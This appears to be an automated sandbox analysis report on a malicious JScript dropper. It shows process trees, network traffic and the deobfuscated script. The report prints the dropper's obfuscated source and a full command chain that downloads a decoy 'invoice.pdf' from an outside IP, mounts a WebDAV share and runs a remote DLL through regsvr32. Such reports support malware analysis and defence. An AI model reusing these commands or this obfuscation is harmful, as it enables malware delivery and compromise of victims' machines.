Jan 11, 2025 00:48:56.807650089 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4832	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:48:58.084038019 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:48:58.882436991 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:48:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:48:50
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js"
Imagebase:	0x7ff6f4820000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:48:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll
Imagebase:	0x7ff6312a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:48:51
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:48:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:48:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:48:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6312a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:48:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64faa0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:48:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:48:57
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:48:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,15336003115330459047,800653548766116304,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hrxfspviw() {	hrxfspviw() ➔ undefined
1	dahebvj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vopjfws = this[jfbbvzbfi + airulzed + xbnnkznc + gpdglgnpt + xntfpbtus + hxwmws + mmeqflmk + nqmogfbsc] ( this[pkxkkemqc + fbclx + gsrkwi + xbnnkznc + njkyfsli + jfbbvzbfi + nqmogfbsc][iyofiunh + xbnnkznc + xntfpbtus + airulzed + nqmogfbsc + xntfpbtus + ytgovuzvp + idogaan + ufeass + xntfpbtus + gsrkwi + nqmogfbsc] ( pkxkkemqc + fbclx + gsrkwi + xbnnkznc + njkyfsli + jfbbvzbfi + nqmogfbsc + njite + fbclx + yhfcn + xntfpbtus + mhxgootya + mhxgootya ) [pttzhiid + xntfpbtus + vbvzyt + pttzhiid + xntfpbtus + airulzed + rxpnrkjpx] ( ycouewg + ahodyjgcv + zyqvkzpvw + xfikubpzq + libvxrxs + iyofiunh + iibwzg + pttzhiid + pttzhiid + zyqvkzpvw + ctmbfma + exxac + libvxrxs + iibwzg + fbclx + zyqvkzpvw + pttzhiid + woprpe + iyofiunh + utomkmp + mmeqflmk + nqmogfbsc + xbnnkznc + utomkmp + mhxgootya + vgxjfcfdu + eoqlyxup + airulzed + mmeqflmk + xntfpbtus + mhxgootya + woprpe + hxwmws + mmeqflmk + nqmogfbsc + xntfpbtus + xbnnkznc + mmeqflmk + airulzed + nqmogfbsc + njkyfsli + utomkmp + mmeqflmk + airulzed + mhxgootya + woprpe + prcevand + utomkmp + gsrkwi + airulzed + mhxgootya + xntfpbtus ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jvxggp = 0 ; jvxggp < dahebvj[mhxgootya + xntfpbtus + mmeqflmk + vbvzyt + nqmogfbsc + yhfcn] ; ++ jvxggp )
4	{
5	if ( vopjfws == dahebvj[jvxggp] )
6	{
7	vopjfws = true;
8	break ;
9	}
10	}
11	if ( vopjfws !== true )
12	this[pkxkkemqc + fbclx + gsrkwi + xbnnkznc + njkyfsli + jfbbvzbfi + nqmogfbsc][fnwts + cnnhbjjzb + njkyfsli + nqmogfbsc] ( );
13	this[pkxkkemqc + fbclx + gsrkwi + xbnnkznc + njkyfsli + jfbbvzbfi + nqmogfbsc][iyofiunh + xbnnkznc + xntfpbtus + airulzed + nqmogfbsc + xntfpbtus + ytgovuzvp + idogaan + ufeass + xntfpbtus + gsrkwi + nqmogfbsc] ( pkxkkemqc + fbclx + gsrkwi + xbnnkznc + njkyfsli + jfbbvzbfi + nqmogfbsc + njite + fbclx + yhfcn + xntfpbtus + mhxgootya + mhxgootya ) [xbnnkznc + cnnhbjjzb + mmeqflmk] ( gsrkwi + tbhnjyh + rxpnrkjpx + vgxjfcfdu + rpifexkys + gsrkwi + vgxjfcfdu + jfbbvzbfi + utomkmp + ojpwpwuy + xntfpbtus + xbnnkznc + gpdglgnpt + yhfcn + xntfpbtus + mhxgootya + mhxgootya + njite + xntfpbtus + gkrud + xntfpbtus + vgxjfcfdu + vnzppkev + iyofiunh + utomkmp + tbhnjyh + tbhnjyh + airulzed + mmeqflmk + rxpnrkjpx + vgxjfcfdu + rolapj + hxwmws + mmeqflmk + bddqsd + utomkmp + fgagmheru + xntfpbtus + vnzppkev + pkxkkemqc + xntfpbtus + idogaan + pttzhiid + xntfpbtus + mhtsxzcg + cnnhbjjzb + xntfpbtus + gpdglgnpt + nqmogfbsc + vgxjfcfdu + vnzppkev + ytgovuzvp + cnnhbjjzb + nqmogfbsc + dinvjro + njkyfsli + mhxgootya + xntfpbtus + vgxjfcfdu + svded + nqmogfbsc + xntfpbtus + tbhnjyh + jfbbvzbfi + svded + woprpe + njkyfsli + mmeqflmk + bddqsd + utomkmp + njkyfsli + gsrkwi + xntfpbtus + njite + jfbbvzbfi + rxpnrkjpx + eybiwvbsj + vgxjfcfdu + yhfcn + nqmogfbsc + nqmogfbsc + jfbbvzbfi + evwpc + rpifexkys + rpifexkys + avtpwpt + vghtznvc + ameeckie + njite + avtpwpt + yenfgjqe + ameeckie + njite + avtpwpt + njite + sgahirjqv + vrciwyi + tdopqac + rpifexkys + njkyfsli + mmeqflmk + bddqsd + utomkmp + njkyfsli + gsrkwi + xntfpbtus + njite + jfbbvzbfi + yhfcn + jfbbvzbfi + rolapj + zxxexb + zxxexb + gpdglgnpt + nqmogfbsc + airulzed + xbnnkznc + nqmogfbsc + vgxjfcfdu + svded + nqmogfbsc + xntfpbtus + tbhnjyh + jfbbvzbfi + svded + woprpe + njkyfsli + mmeqflmk + bddqsd + utomkmp + njkyfsli + gsrkwi + xntfpbtus + njite + jfbbvzbfi + rxpnrkjpx + eybiwvbsj + zxxexb + zxxexb + gsrkwi + tbhnjyh + rxpnrkjpx + vgxjfcfdu + rpifexkys + gsrkwi + vgxjfcfdu + mmeqflmk + xntfpbtus + nqmogfbsc + vgxjfcfdu + cnnhbjjzb + gpdglgnpt + xntfpbtus + vgxjfcfdu + woprpe + woprpe + avtpwpt + vghtznvc + ameeckie + njite + avtpwpt + yenfgjqe + ameeckie + njite + avtpwpt + njite + sgahirjqv + vrciwyi + tdopqac + kxagljmvv + nlrhlyk + nlrhlyk + nlrhlyk + nlrhlyk + woprpe + rxpnrkjpx + airulzed + bddqsd + ojpwpwuy + ojpwpwuy + ojpwpwuy + xbnnkznc + utomkmp + utomkmp + nqmogfbsc + woprpe + zxxexb + zxxexb + gsrkwi + tbhnjyh + rxpnrkjpx + vgxjfcfdu + rpifexkys + gsrkwi + vgxjfcfdu + xbnnkznc + xntfpbtus + vbvzyt + gpdglgnpt + bddqsd + xbnnkznc + ameeckie + sgahirjqv + vgxjfcfdu + rpifexkys + gpdglgnpt + vgxjfcfdu + woprpe + woprpe + avtpwpt + vghtznvc + ameeckie + njite + avtpwpt + yenfgjqe + ameeckie + njite + avtpwpt + njite + sgahirjqv + vrciwyi + tdopqac + kxagljmvv + nlrhlyk + nlrhlyk + nlrhlyk + nlrhlyk + woprpe + rxpnrkjpx + airulzed + bddqsd + ojpwpwuy + ojpwpwuy + ojpwpwuy + xbnnkznc + utomkmp + utomkmp + nqmogfbsc + woprpe + sgahirjqv + avtpwpt + vghtznvc + vghtznvc + vrciwyi + avtpwpt + nlrhlyk + avtpwpt + yenfgjqe + tdopqac + avtpwpt + tdopqac + ujcgfnn + nlrhlyk + tdopqac + njite + rxpnrkjpx + mhxgootya + mhxgootya, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll",0,false) ➔ 0
14	}
15	ytgovuzvp = "r";
16	ytgovuzvp = "J";
17	ytgovuzvp = "n";
18	ytgovuzvp = "O";
19	njite = "P";
20	njite = "Z";
21	njite = "M";
22	njite = "i";
23	njite = "K";
24	njite = "u";
25	njite = "X";
26	njite = "O";
27	njite = "L";
28	njite = "P";
29	njite = "g";
30	njite = "q";
31	njite = "K";
32	njite = "w";
33	njite = "L";
34	njite = "O";
35	njite = "e";
36	njite = "b";
37	njite = "m";
38	njite = "g";
39	njite = "I";
40	njite = "i";
41	njite = "i";
42	njite = "m";
43	njite = "g";
44	njite = "m";
45	njite = "v";
46	njite = "F";
47	njite = "o";
48	njite = "w";
49	njite = "q";
50	njite = "e";
51	njite = "F";
52	njite = "a";
53	njite = "N";
54	njite = "f";
55	njite = "E";
56	njite = "P";
57	njite = "j";
58	njite = "W";
59	njite = ".";
60	nqmogfbsc = "B";
61	nqmogfbsc = "z";
62	nqmogfbsc = "r";
63	nqmogfbsc = "v";
64	nqmogfbsc = "X";
65	nqmogfbsc = "G";
66	nqmogfbsc = "O";
67	nqmogfbsc = "x";
68	nqmogfbsc = "V";
69	nqmogfbsc = "e";
70	nqmogfbsc = "q";
71	nqmogfbsc = "l";
72	nqmogfbsc = "Q";
73	nqmogfbsc = "e";
74	nqmogfbsc = "W";
75	nqmogfbsc = "g";
76	nqmogfbsc = "U";
77	nqmogfbsc = "C";
78	nqmogfbsc = "r";
79	nqmogfbsc = "D";
80	nqmogfbsc = "k";
81	nqmogfbsc = "r";
82	nqmogfbsc = "M";
83	nqmogfbsc = "v";
84	nqmogfbsc = "R";
85	nqmogfbsc = "A";
86	nqmogfbsc = "z";
87	nqmogfbsc = "X";
88	nqmogfbsc = "X";
89	nqmogfbsc = "Z";
90	nqmogfbsc = "z";
91	nqmogfbsc = "p";
92	nqmogfbsc = "A";
93	nqmogfbsc = "m";
94	nqmogfbsc = "n";
95	nqmogfbsc = "t";
96	xfikubpzq = "d";
97	xfikubpzq = "Z";
98	xfikubpzq = "H";
99	xfikubpzq = "v";
100	xfikubpzq = "W";
101	xfikubpzq = "G";
102	xfikubpzq = "M";
103	xfikubpzq = "M";
104	xfikubpzq = "I";
105	xfikubpzq = "O";
106	xfikubpzq = "D";
107	xfikubpzq = "b";
108	xfikubpzq = "C";
109	xfikubpzq = "Y";
110	dinvjro = "Z";
111	dinvjro = "v";
112	dinvjro = "N";
113	dinvjro = "a";
114	dinvjro = "K";
115	dinvjro = "l";
116	dinvjro = "a";
117	dinvjro = "W";
118	dinvjro = "G";
119	dinvjro = "p";
120	dinvjro = "n";
121	dinvjro = "M";
122	dinvjro = "e";
123	dinvjro = "F";
124	mhxgootya = "k";
125	mhxgootya = "G";
126	mhxgootya = "J";
127	mhxgootya = "J";
128	mhxgootya = "e";
129	mhxgootya = "H";
130	mhxgootya = "d";
131	mhxgootya = "Q";
132	mhxgootya = "B";
133	mhxgootya = "S";
134	mhxgootya = "c";
135	mhxgootya = "B";
136	mhxgootya = "z";
137	mhxgootya = "b";
138	mhxgootya = "u";
139	mhxgootya = "S";
140	mhxgootya = "w";
141	mhxgootya = "K";
142	mhxgootya = "l";
143	mhxgootya = "x";
144	mhxgootya = "s";
145	mhxgootya = "e";
146	mhxgootya = "J";
147	mhxgootya = "J";
148	mhxgootya = "z";
149	mhxgootya = "M";
150	mhxgootya = "i";
151	mhxgootya = "n";
152	mhxgootya = "E";
153	mhxgootya = "k";
154	mhxgootya = "p";
155	mhxgootya = "c";
156	mhxgootya = "z";
157	mhxgootya = "W";
158	mhxgootya = "y";
159	mhxgootya = "M";
160	mhxgootya = "S";
161	mhxgootya = "l";
162	xntfpbtus = "P";
163	xntfpbtus = "y";
164	xntfpbtus = "u";
165	xntfpbtus = "p";
166	xntfpbtus = "c";
167	xntfpbtus = "g";
168	xntfpbtus = "G";
169	xntfpbtus = "S";
170	xntfpbtus = "L";
171	xntfpbtus = "R";
172	xntfpbtus = "u";
173	xntfpbtus = "u";
174	xntfpbtus = "z";
175	xntfpbtus = "V";
176	xntfpbtus = "Z";
177	xntfpbtus = "m";
178	xntfpbtus = "f";
179	xntfpbtus = "b";
180	xntfpbtus = "R";
181	xntfpbtus = "Z";
182	xntfpbtus = "f";
183	xntfpbtus = "e";
184	xntfpbtus = "q";
185	xntfpbtus = "C";
186	xntfpbtus = "R";
187	xntfpbtus = "c";
188	xntfpbtus = "I";
189	xntfpbtus = "L";
190	xntfpbtus = "r";
191	xntfpbtus = "e";
192	iyofiunh = "n";
193	iyofiunh = "G";
194	iyofiunh = "q";
195	iyofiunh = "Q";
196	iyofiunh = "K";
197	iyofiunh = "w";
198	iyofiunh = "n";
199	iyofiunh = "d";
200	iyofiunh = "z";
201	iyofiunh = "d";
202	iyofiunh = "v";
203	iyofiunh = "M";
204	iyofiunh = "k";
205	iyofiunh = "S";
206	iyofiunh = "Y";
207	iyofiunh = "j";
208	iyofiunh = "r";
209	iyofiunh = "T";
210	iyofiunh = "A";
211	iyofiunh = "I";
212	iyofiunh = "p";
213	iyofiunh = "J";
214	iyofiunh = "L";
215	iyofiunh = "a";
216	iyofiunh = "L";
217	iyofiunh = "t";
218	iyofiunh = "C";
219	gkrud = "g";
220	gkrud = "r";
221	gkrud = "x";
222	gkrud = "z";
223	gkrud = "C";
224	gkrud = "o";
225	gkrud = "C";
226	gkrud = "k";
227	gkrud = "X";
228	gkrud = "e";
229	gkrud = "x";
230	gkrud = "S";
231	gkrud = "Y";
232	gkrud = "G";
233	gkrud = "P";
234	gkrud = "A";
235	gkrud = "Q";
236	gkrud = "V";
237	gkrud = "g";
238	gkrud = "M";
239	gkrud = "D";
240	gkrud = "Y";
241	gkrud = "W";
242	gkrud = "T";
243	gkrud = "x";
244	idogaan = "g";
245	idogaan = "x";
246	idogaan = "N";
247	idogaan = "m";
248	idogaan = "d";
249	idogaan = "S";
250	idogaan = "G";
251	idogaan = "g";
252	idogaan = "v";
253	idogaan = "o";
254	idogaan = "S";
255	idogaan = "T";
256	idogaan = "A";
257	idogaan = "b";
258	idogaan = "G";
259	idogaan = "f";
260	idogaan = "g";
261	idogaan = "Q";
262	idogaan = "b";
263	tbhnjyh = "F";
264	tbhnjyh = "C";
265	tbhnjyh = "S";
266	tbhnjyh = "p";
267	tbhnjyh = "s";
268	tbhnjyh = "m";
269	sgahirjqv = "m";
270	sgahirjqv = "R";
271	sgahirjqv = "O";
272	sgahirjqv = "e";
273	sgahirjqv = "A";
274	sgahirjqv = "V";
275	sgahirjqv = "B";
276	sgahirjqv = "K";
277	sgahirjqv = "Y";
278	sgahirjqv = "x";
279	sgahirjqv = "s";
280	sgahirjqv = "K";
281	sgahirjqv = "P";
282	sgahirjqv = "D";
283	sgahirjqv = "z";
284	sgahirjqv = "E";
285	sgahirjqv = "t";
286	sgahirjqv = "V";
287	sgahirjqv = "R";
288	sgahirjqv = "v";
289	sgahirjqv = "n";
290	sgahirjqv = "M";
291	sgahirjqv = "k";
292	sgahirjqv = "S";
293	sgahirjqv = "z";
294	sgahirjqv = "2";
295	ojpwpwuy = "w";
296	ojpwpwuy = "X";
297	ojpwpwuy = "R";
298	ojpwpwuy = "q";
299	ojpwpwuy = "Z";
300	ojpwpwuy = "l";
301	ojpwpwuy = "d";
302	ojpwpwuy = "O";
303	ojpwpwuy = "E";
304	ojpwpwuy = "b";
305	ojpwpwuy = "H";
306	ojpwpwuy = "b";
307	ojpwpwuy = "V";
308	ojpwpwuy = "f";
309	ojpwpwuy = "J";
310	ojpwpwuy = "o";
311	ojpwpwuy = "B";
312	ojpwpwuy = "z";
313	ojpwpwuy = "x";
314	ojpwpwuy = "j";
315	ojpwpwuy = "k";
316	ojpwpwuy = "E";
317	ojpwpwuy = "E";
318	ojpwpwuy = "U";
319	ojpwpwuy = "e";
320	ojpwpwuy = "q";
321	ojpwpwuy = "N";
322	ojpwpwuy = "c";
323	ojpwpwuy = "F";
324	ojpwpwuy = "h";
325	ojpwpwuy = "w";
326	gsrkwi = "T";
327	gsrkwi = "S";
328	gsrkwi = "w";
329	gsrkwi = "e";
330	gsrkwi = "Y";
331	gsrkwi = "e";
332	gsrkwi = "M";
333	gsrkwi = "o";
334	gsrkwi = "t";
335	gsrkwi = "s";
336	gsrkwi = "W";
337	gsrkwi = "f";
338	gsrkwi = "y";
339	gsrkwi = "v";
340	gsrkwi = "j";
341	gsrkwi = "R";
342	gsrkwi = "n";
343	gsrkwi = "O";
344	gsrkwi = "c";
345	rolapj = "s";
346	rolapj = "z";
347	rolapj = "l";
348	rolapj = "Q";
349	rolapj = "Q";
350	rolapj = "g";
351	rolapj = "I";
352	rolapj = "m";
353	rolapj = "Y";
354	rolapj = "U";
355	rolapj = "g";
356	rolapj = "t";
357	rolapj = "r";
358	rolapj = "q";
359	rolapj = "F";
360	rolapj = "O";
361	rolapj = "D";
362	rolapj = "x";
363	rolapj = "s";
364	rolapj = "x";
365	rolapj = "N";
366	rolapj = "C";
367	rolapj = "R";
368	rolapj = "r";
369	rolapj = "m";
370	rolapj = "a";
371	rolapj = "z";
372	rolapj = "m";
373	rolapj = "v";
374	rolapj = "k";
375	rolapj = "q";
376	rolapj = "F";
377	rolapj = "g";
378	rolapj = "\"";
379	hxwmws = "q";
380	hxwmws = "G";
381	hxwmws = "c";
382	hxwmws = "D";
383	hxwmws = "c";
384	hxwmws = "X";
385	hxwmws = "G";
386	hxwmws = "M";
387	hxwmws = "T";
388	hxwmws = "X";
389	hxwmws = "Y";
390	hxwmws = "f";
391	hxwmws = "b";
392	hxwmws = "L";
393	hxwmws = "l";
394	hxwmws = "Q";
395	hxwmws = "u";
396	hxwmws = "d";
397	hxwmws = "W";
398	hxwmws = "T";
399	hxwmws = "I";
400	vgxjfcfdu = "h";
401	vgxjfcfdu = "v";
402	vgxjfcfdu = "d";
403	vgxjfcfdu = "T";
404	vgxjfcfdu = "h";
405	vgxjfcfdu = "T";
406	vgxjfcfdu = "h";
407	vgxjfcfdu = "H";
408	vgxjfcfdu = "Y";
409	vgxjfcfdu = "R";
410	vgxjfcfdu = "z";
411	vgxjfcfdu = "t";
412	vgxjfcfdu = "L";
413	vgxjfcfdu = "G";
414	vgxjfcfdu = "L";
415	vgxjfcfdu = "A";
416	vgxjfcfdu = "K";
417	vgxjfcfdu = "B";
418	vgxjfcfdu = "r";
419	vgxjfcfdu = "R";
420	vgxjfcfdu = "l";
421	vgxjfcfdu = "p";
422	vgxjfcfdu = "N";
423	vgxjfcfdu = "q";
424	vgxjfcfdu = "k";
425	vgxjfcfdu = "N";
426	vgxjfcfdu = "M";
427	vgxjfcfdu = "K";
428	vgxjfcfdu = "O";
429	vgxjfcfdu = "E";
430	vgxjfcfdu = "H";
431	vgxjfcfdu = "b";
432	vgxjfcfdu = "C";
433	vgxjfcfdu = "X";
434	vgxjfcfdu = "Z";
435	vgxjfcfdu = "K";
436	vgxjfcfdu = "O";
437	vgxjfcfdu = " ";
438	cnnhbjjzb = "W";
439	cnnhbjjzb = "p";
440	cnnhbjjzb = "D";
441	cnnhbjjzb = "s";
442	cnnhbjjzb = "i";
443	cnnhbjjzb = "Y";
444	cnnhbjjzb = "C";
445	cnnhbjjzb = "b";
446	cnnhbjjzb = "b";
447	cnnhbjjzb = "u";
448	cnnhbjjzb = "Y";
449	cnnhbjjzb = "t";
450	cnnhbjjzb = "Y";
451	cnnhbjjzb = "k";
452	cnnhbjjzb = "E";
453	cnnhbjjzb = "y";
454	cnnhbjjzb = "u";
455	bddqsd = "h";
456	bddqsd = "U";
457	bddqsd = "v";
458	mmeqflmk = "H";
459	mmeqflmk = "A";
460	mmeqflmk = "L";
461	mmeqflmk = "v";
462	mmeqflmk = "J";
463	mmeqflmk = "G";
464	mmeqflmk = "z";
465	mmeqflmk = "W";
466	mmeqflmk = "G";
467	mmeqflmk = "I";
468	mmeqflmk = "w";
469	mmeqflmk = "Y";
470	mmeqflmk = "T";
471	mmeqflmk = "g";
472	mmeqflmk = "o";
473	mmeqflmk = "H";
474	mmeqflmk = "G";
475	mmeqflmk = "r";
476	mmeqflmk = "g";
477	mmeqflmk = "o";
478	mmeqflmk = "h";
479	mmeqflmk = "P";
480	mmeqflmk = "H";
481	mmeqflmk = "E";
482	mmeqflmk = "c";
483	mmeqflmk = "J";
484	mmeqflmk = "W";
485	mmeqflmk = "r";
486	mmeqflmk = "Z";
487	mmeqflmk = "F";
488	mmeqflmk = "B";
489	mmeqflmk = "Y";
490	mmeqflmk = "n";
491	vrciwyi = "J";
492	vrciwyi = "W";
493	vrciwyi = "Q";
494	vrciwyi = "Q";
495	vrciwyi = "T";
496	vrciwyi = "B";
497	vrciwyi = "X";
498	vrciwyi = "J";
499	vrciwyi = "m";
500	vrciwyi = "H";
501	vrciwyi = "s";
502	vrciwyi = "j";
503	vrciwyi = "e";
504	vrciwyi = "Q";
505	vrciwyi = "V";
506	vrciwyi = "g";
507	vrciwyi = "h";
508	vrciwyi = "N";
509	vrciwyi = "F";
510	vrciwyi = "U";
511	vrciwyi = "s";
512	vrciwyi = "U";
513	vrciwyi = "B";
514	vrciwyi = "e";
515	vrciwyi = "F";
516	vrciwyi = "Q";
517	vrciwyi = "X";
518	vrciwyi = "e";
519	vrciwyi = "D";
520	vrciwyi = "G";
521	vrciwyi = "M";
522	vrciwyi = "t";
523	vrciwyi = "V";
524	vrciwyi = "A";
525	vrciwyi = "A";
526	vrciwyi = "A";
527	vrciwyi = "j";
528	vrciwyi = "O";
529	vrciwyi = "0";
530	tdopqac = "A";
531	tdopqac = "T";
532	tdopqac = "c";
533	tdopqac = "L";
534	tdopqac = "d";
535	tdopqac = "Q";
536	tdopqac = "n";
537	tdopqac = "Z";
538	tdopqac = "X";
539	tdopqac = "P";
540	tdopqac = "n";
541	tdopqac = "5";
542	ctmbfma = "f";
543	ctmbfma = "T";
544	ctmbfma = "x";
545	ctmbfma = "i";
546	ctmbfma = "c";
547	ctmbfma = "N";
548	ctmbfma = "s";
549	ctmbfma = "k";
550	ctmbfma = "C";
551	ctmbfma = "c";
552	ctmbfma = "B";
553	ctmbfma = "U";
554	ctmbfma = "x";
555	ctmbfma = "i";
556	ctmbfma = "I";
557	ctmbfma = "V";
558	ctmbfma = "h";
559	ctmbfma = "E";
560	ctmbfma = "x";
561	ctmbfma = "B";
562	ctmbfma = "y";
563	ctmbfma = "p";
564	ctmbfma = "n";
565	ctmbfma = "K";
566	ctmbfma = "s";
567	ctmbfma = "Q";
568	ctmbfma = "z";
569	ctmbfma = "N";
570	eoqlyxup = "b";
571	eoqlyxup = "Z";
572	eoqlyxup = "T";
573	eoqlyxup = "l";
574	eoqlyxup = "u";
575	eoqlyxup = "A";
576	eoqlyxup = "X";
577	eoqlyxup = "T";
578	eoqlyxup = "F";
579	eoqlyxup = "i";
580	eoqlyxup = "N";
581	eoqlyxup = "f";
582	eoqlyxup = "k";
583	eoqlyxup = "V";
584	eoqlyxup = "X";
585	eoqlyxup = "M";
586	eoqlyxup = "p";
587	eoqlyxup = "c";
588	eoqlyxup = "N";
589	eoqlyxup = "X";
590	eoqlyxup = "q";
591	eoqlyxup = "A";
592	eoqlyxup = "Y";
593	eoqlyxup = "v";
594	eoqlyxup = "T";
595	eoqlyxup = "l";
596	eoqlyxup = "e";
597	eoqlyxup = "A";
598	eoqlyxup = "r";
599	eoqlyxup = "b";
600	eoqlyxup = "k";
601	eoqlyxup = "P";
602	yhfcn = "P";
603	yhfcn = "z";
604	yhfcn = "v";
605	yhfcn = "J";
606	yhfcn = "O";
607	yhfcn = "v";
608	yhfcn = "v";
609	yhfcn = "N";
